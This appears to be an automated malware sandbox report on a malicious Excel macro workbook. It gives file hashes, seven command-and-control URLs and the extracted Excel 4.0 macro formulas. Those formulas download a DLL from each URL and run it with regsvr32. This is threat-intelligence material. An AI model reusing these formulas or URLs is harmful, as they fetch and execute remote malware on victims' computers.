General

  • Target

    e21f264e3915d5ac7038e1d8676702acf0faa7905294170144454468f79792ec

  • Size

    20KB

  • MD5

    96efd810af7504f8cf3df7ef36a1af21

  • SHA1

    4a412ed74ef48285402a92e58f00b59a69c307d1

  • SHA256

    e21f264e3915d5ac7038e1d8676702acf0faa7905294170144454468f79792ec

  • SHA512

    a7b50206b64cdc8bdf32aaeb381d927d011f26fabeb7d2524fa3f7744f5f74e433b830948eef40e9db9976c633d467f63613067e025a020b270093c7ff1ddef9

  • SSDEEP

    384:2QZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:2TINqTo4FL3CBn9kC+xbLHjj

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://autoat.mx/assets/VljikBuT029PkSBfrc/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • e21f264e3915d5ac7038e1d8676702acf0faa7905294170144454468f79792ec
    .xlsm office2007